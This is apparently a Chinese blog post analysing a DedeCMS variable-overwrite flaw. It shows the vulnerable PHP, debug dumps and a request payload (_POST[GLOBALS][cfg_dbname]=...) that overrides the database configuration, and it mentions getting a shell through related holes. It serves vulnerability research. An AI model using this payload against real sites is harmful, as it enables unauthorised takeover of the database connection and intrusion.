这件事说来比较惭愧,之前发现Dedecms有这么一个严重的问题,也传言dede不用登击进后台.
在网上也考到mr_xhming同学的分析:
http://hi.baidu.com/mr_xhming/blog/item/5e6d6009d44b1f39e92488a5.html
底下还有大牛的评论
2009-06-14 00:01 | 回复
在文件common.inc.php先覆盖
$GLOBALS['cfg_dbhost'];
$GLOBALS['cfg_dbuser'];
$GLOBALS['cfg_dbpwd'];
$GLOBALS['cfg_dbname'];
$GLOBALS['cfg_dbprefix'];
然后才是初始化数据库类
//引入数据库类
require_once(DEDEINC.’/dedesql.class.php’);
//全局常用函数
require_once(DEDEINC.’/common.func.php’);
?>
当时我也纳闷,DedeCms变量覆盖漏洞为什么能覆盖数据库配置变量?因为覆盖(或者说创建)在前,赋值在后啊。
//include/common.inc.php
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) )
{
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); //这里覆盖变量
}
}
//系统相关变量检测
if(!isset($needFilter))
{
$needFilter = false;
}
$registerGlobals = @ini_get(“register_globals”);
$isUrlOpen = @ini_get(“allow_url_fopen”);
$isSafeMode = @ini_get(“safe_mode”);
if( preg_match(‘/windows/i’, @getenv(‘OS’)) )
{
$isSafeMode = false;
}
//Session保存路径
$sessSavePath = DEDEDATA.”/sessions/”;
if(is_writeable($sessSavePath) && is_readable($sessSavePath))
{
session_save_path($sessSavePath);
}
//系统配置参数
require_once(DEDEDATA.”/config.cache.inc.php”);
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.’/uploadsafe.inc.php’);
}
//数据库配置文件
require_once(DEDEDATA.’/common.inc.php’); //这里引入数据库配置文件
…
//data/common.inc.php 里面的内容
<?php
//数据库连接信息
$cfg_dbhost = ‘localhost’;
$cfg_dbname = ‘de2′;
$cfg_dbuser = ‘root’;
$cfg_dbpwd = ”;
$cfg_dbprefix = ‘dede_’;
$cfg_db_language = ‘utf8′;
?>
看起来的样子是就算覆盖了$cfg_dbname这些变量但是后面的文章又给$cfg_dbname赋了值。
然后我以为只有那些系统变量在覆盖前没初始化的才可以覆盖利用,但是我利用这个漏洞是通过别的途径,运气好点也能搞到shell。当时根本没看懂fly大牛的评论(这个漏洞人家09年的时候就已经公布出来了?但是08年是利用$_FILES数组覆盖的。)当时网上爆的Dedecms的变量覆盖是$_FILES数组,其实除了这个还有更严重的,很多人都发现了但是没人爆出了,因为爆出来就没得玩了。但是Dedecms那帮家伙只知道修修补补,补了那个变量覆盖的时候就在旁边的更明显的都没发现。现在他们补了这个漏洞,还是有些别的严重的问题他们还是没补完。
扯的有点多,关键的问题还没解决。变量覆盖是存在的,但是怎么利用还不知道。
问题的根本就是: $cfg_dbname和$GLOBALS['cfg_dbname']到底是不是一回事?
我原来想当然的以为是一回事,其实根本不是那么回事。
我们可以做个实验:
把include/common.inc.php添加几行代码看一下:
echo '---------------------------------------------------------</br>';
echo '$GLOBALS[cfg_dbname]:';
var_dump($GLOBALS[cfg_dbname]);
echo '---------------------------------------------------------</br>';
echo '$cfg_dbname';
var_dump($cfg_dbname);
//数据库配置文件
echo '++++++++++++++++++++++++++++++++++++++++++++++++++++++++</br>';
require_once(DEDEDATA.'/common.inc.php');
echo '---------------------------------------------------------</br>';
echo '$GLOBALS[cfg_dbname]:';
var_dump($GLOBALS[cfg_dbname]);
echo '---------------------------------------------------------</br>';
echo '$cfg_dbname';
var_dump($cfg_dbname);
exit;
提交 http://127.0.0.1/de2/index.php?_POST[cfg_dbname]=1234
结果如下:
--------------------------------------------------------- $GLOBALS[cfg_dbname]:
string
<span style="color: #cc0000;">'1234'</span> <em>(length=4)</em> --------------------------------------------------------- $cfg_dbname
string
<span style="color: #cc0000;">'1234'</span> <em>(length=4)</em> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ --------------------------------------------------------- $GLOBALS[cfg_dbname]:
string
<span style="color: #cc0000;">'de2'</span> <em>(length=3)</em> --------------------------------------------------------- $cfg_dbname
string
<span style="color: #cc0000;">'de2'</span> <em>(length=3)</em>
提交:http://127.0.0.1/de2/index.php?_POST[GLOBALS][cfg_dbname]=1234
--------------------------------------------------------- $GLOBALS[cfg_dbname]:
string
<span style="color: #cc0000;">'1234'</span> <em>(length=4)</em> --------------------------------------------------------- $cfg_dbname <span style="color: #3465a4;">null</span> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ --------------------------------------------------------- $GLOBALS[cfg_dbname]:
string
<span style="color: #cc0000;">'1234'</span> <em>(length=4)</em> --------------------------------------------------------- $cfg_dbname
string
<span style="color: #cc0000;">'de2'</span> (length=3)
现在发现得到了我们想要的结果了,因为其后引入的数据库类
if ($GLOBALS['cfg_mysql_type'] == 'mysqli' && function_exists("mysqli_init")) { require_once(DEDEINC.'/dedesqli.class.php'); } else { require_once(DEDEINC.'/dedesql.class.php'); }
里面的初始化函数是这样的,用的$GLOBALS['cfg_dbname']变量完成的赋值。
function Init($pconnect=FALSE) { $this->linkID = 0; $this->queryString = ''; $this->parameters = Array(); $this->dbHost = $GLOBALS['cfg_dbhost']; $this->dbUser = $GLOBALS['cfg_dbuser']; $this->dbPwd = $GLOBALS['cfg_dbpwd']; $this->dbName = $GLOBALS['cfg_dbname']; $this->dbPrefix = $GLOBALS['cfg_dbprefix']; $this->result["me"] = 0; $this->Open($pconnect); }
所以是可以覆盖的,因为$GLOBALS数组被覆盖后变成了一个普通数组(不再是PHP的超全局变量),$GLOBALS['cfg_dbname'] 并不再等同于$cfg_dbname .我原来也是认为一直等同的。
而Dedecms的数据库配置文件用的是$GLOBALS['cfg_dbname']变量。
经foreach循环覆盖$GLOBALS之后导致$GLOBALS不再是超全局变量了,他成了普通的数组了,所以$GLOBALS['cfg_dbname'] 不再等同于$cfg_dbname 这是问题的关键.
证明代码如下
< ?php $_POST['GLOBALS']['cfg_dbname'] = '123'; var_dump($GLOBALS); foreach($_POST as $k => $v) { $$k=$v; } echo '~~~~~~~~~~~~~~~~~~~~~~'; echo $cfg_dbname.':'.$GLOBALS['cfg_dbname']; echo '+++++++++++++++++++++++'; var_dump($GLOBALS); $cfg_dbname = '456'; echo '-----------------------'; echo $cfg_dbname.':'.$GLOBALS['cfg_dbname']; ?>
结果如下
array 'GLOBALS' => &array 'HTTP_HOST' => string '127.1' (length=5) 'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20' (length=90) 'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' (length=63) 'HTTP_ACCEPT_LANGUAGE' => string 'zh-cn,zh;q=0.5' (length=14) 'HTTP_ACCEPT_ENCODING' => string 'gzip,deflate' (length=12) 'HTTP_ACCEPT_CHARSET' => string 'GB2312,utf-8;q=0.7,*;q=0.7' (length=26) 'HTTP_KEEP_ALIVE' => string '115' (length=3) 'HTTP_CONNECTION' => string 'keep-alive' (length=10) 'PATH' => string 'C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\ThinkPad\Bluetooth Software\;C:\Program Files\ThinkPad\Bluetooth Software\syswow64;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\Common Files\Lenovo;C:\Program Files (x86)\Common Files\Ulead Systems\MPEG;C:\'... (length=975) 'SystemRoot' => string 'C:\Windows' (length=10) 'COMSPEC' => string 'C:\Windows\system32\cmd.exe' (length=27) 'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC' (length=53) 'WINDIR' => string 'C:\Windows' (length=10) 'SERVER_SIGNATURE' => string '' (length=0) 'SERVER_SOFTWARE' => string 'Apache/2.2.17 (Win32) PHP/5.3.5' (length=31) 'SERVER_NAME' => string '127.1' (length=5) 'SERVER_ADDR' => string '127.0.0.1' (length=9) 'SERVER_PORT' => string '80' (length=2) 'REMOTE_HOST' => string 'web9.vghtpe.gov.tw' (length=18) 'REMOTE_ADDR' => string '127.0.0.1' (length=9) 'DOCUMENT_ROOT' => string 'C:/wamp/www/' (length=12) 'SERVER_ADMIN' => string 'admin@localhost' (length=15) 'SCRIPT_FILENAME' => string 'C:/wamp/www/5.php' (length=17) 'REMOTE_PORT' => string '53482' (length=5) 'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7) 'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8) 'REQUEST_METHOD' => string 'GET' (length=3) 'QUERY_STRING' => string '' (length=0) 'REQUEST_URI' => string '/5.php' (length=6) 'SCRIPT_NAME' => string '/5.php' (length=6) 'PHP_SELF' => string '/5.php' (length=6) 'REQUEST_TIME' => int 1314794715 '_POST' => array 'GLOBALS' => array 'cfg_dbname' => string '123' (length=3) '_GET' => array empty '_COOKIE' => array empty '_SERVER' => array 'HTTP_HOST' => string '127.1' (length=5) 'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20' (length=90) 'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' (length=63) 'HTTP_ACCEPT_LANGUAGE' => string 'zh-cn,zh;q=0.5' (length=14) 'HTTP_ACCEPT_ENCODING' => string 'gzip,deflate' (length=12) 'HTTP_ACCEPT_CHARSET' => string 'GB2312,utf-8;q=0.7,*;q=0.7' (length=26) 'HTTP_KEEP_ALIVE' => string '115' (length=3) 'HTTP_CONNECTION' => string 'keep-alive' (length=10) 'PATH' => string 'C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\ThinkPad\Bluetooth Software\;C:\Program Files\ThinkPad\Bluetooth Software\syswow64;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\Common Files\Lenovo;C:\Program Files (x86)\Common Files\Ulead Systems\MPEG;C:\'... (length=975) 'SystemRoot' => string 'C:\Windows' (length=10) 'COMSPEC' => string 'C:\Windows\system32\cmd.exe' (length=27) 'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC' (length=53) 'WINDIR' => string 'C:\Windows' (length=10) 'SERVER_SIGNATURE' => string '' (length=0) 'SERVER_SOFTWARE' => string 'Apache/2.2.17 (Win32) PHP/5.3.5' (length=31) 'SERVER_NAME' => string '127.1' (length=5) 'SERVER_ADDR' => string '127.0.0.1' (length=9) 'SERVER_PORT' => string '80' (length=2) 'REMOTE_HOST' => string 'web9.vghtpe.gov.tw' (length=18) 'REMOTE_ADDR' => string '127.0.0.1' (length=9) 'DOCUMENT_ROOT' => string 'C:/wamp/www/' (length=12) 'SERVER_ADMIN' => string 'admin@localhost' (length=15) 'SCRIPT_FILENAME' => string 'C:/wamp/www/5.php' (length=17) 'REMOTE_PORT' => string '53482' (length=5) 'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7) 'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8) 'REQUEST_METHOD' => string 'GET' (length=3) 'QUERY_STRING' => string '' (length=0) 'REQUEST_URI' => string '/5.php' (length=6) 'SCRIPT_NAME' => string '/5.php' (length=6) 'PHP_SELF' => string '/5.php' (length=6) 'REQUEST_TIME' => int 1314794715 '_ENV' => array empty '_FILES' => array empty '_REQUEST' => array empty ~~~~~~~~~~~~~~~~~~~~~~ :123 +++++++++++++++++++++++ array 'cfg_dbname' => string '123' (length=3) ----------------------- 456:123